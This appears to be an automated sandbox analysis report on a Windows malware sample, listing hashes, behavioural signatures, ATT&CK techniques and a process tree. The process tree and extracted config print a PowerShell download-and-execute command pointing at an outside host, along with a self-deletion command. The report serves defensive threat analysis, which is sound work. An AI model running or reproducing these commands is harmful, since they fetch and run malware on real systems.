28fff67a5ec01a9ccd4c5101cdfeaa2a714d90322b39a5b5be4cb48e4ff78ea2

Analysis

max time kernel
127s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
17/03/2023, 18:50

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General

Target

562348e8dbd71f796420599713c73c02.exe
Size

144KB
MD5

562348e8dbd71f796420599713c73c02
SHA1

b21c5a26d2a3d7bb06d946397540de919e7acd64
SHA256

28fff67a5ec01a9ccd4c5101cdfeaa2a714d90322b39a5b5be4cb48e4ff78ea2
SHA512

1ea1dd6ba499830eed943a231b16ac6f7d288d6fc8d4bffed3b0336ee14ba4a9e221d796636a2c19c0aa5f501a2b91366c8600d478ed7e2832638c6e459b3188
SSDEEP

3072:OBkoDOa0GfjuYQWOd1nfS9KlTHSsq+dzplmKzBfcnhHKMISCVN/Q:/Vq+pluMMCn/

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://kialux.com/images/operator/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	1692	powershell.exe
28	1692	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	562348e8dbd71f796420599713c73c02.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3852	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1692	powershell.exe
1692	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4676 wrote to memory of 1888	4676	562348e8dbd71f796420599713c73c02.exe	81
PID 4676 wrote to memory of 1888	4676	562348e8dbd71f796420599713c73c02.exe	81
PID 1888 wrote to memory of 1692	1888	cmd.exe	83
PID 1888 wrote to memory of 1692	1888	cmd.exe	83
PID 4676 wrote to memory of 4288	4676	562348e8dbd71f796420599713c73c02.exe	84
PID 4676 wrote to memory of 4288	4676	562348e8dbd71f796420599713c73c02.exe	84
PID 4676 wrote to memory of 4288	4676	562348e8dbd71f796420599713c73c02.exe	84
PID 4288 wrote to memory of 3852	4288	cmd.exe	86
PID 4288 wrote to memory of 3852	4288	cmd.exe	86
PID 4288 wrote to memory of 3852	4288	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\562348e8dbd71f796420599713c73c02.exe
"C:\Users\Admin\AppData\Local\Temp\562348e8dbd71f796420599713c73c02.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://kialux.com/images/operator/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://kialux.com/images/operator/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\562348e8dbd71f796420599713c73c02.exe" >> NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4288
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fclp54a2.hf1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1692-142-0x000001297BDA0000-0x000001297BDC2000-memory.dmp

Filesize
136KB

Download
memory/1692-152-0x0000012979AF0000-0x0000012979B00000-memory.dmp

Filesize
64KB

Download
memory/1692-153-0x0000012979AF0000-0x0000012979B00000-memory.dmp

Filesize
64KB

Download
memory/1692-154-0x0000012979AF0000-0x0000012979B00000-memory.dmp

Filesize
64KB

Download
memory/1692-155-0x0000012979AF0000-0x0000012979B00000-memory.dmp

Filesize
64KB

Download
memory/1692-156-0x0000012979AF0000-0x0000012979B00000-memory.dmp

Filesize
64KB

Download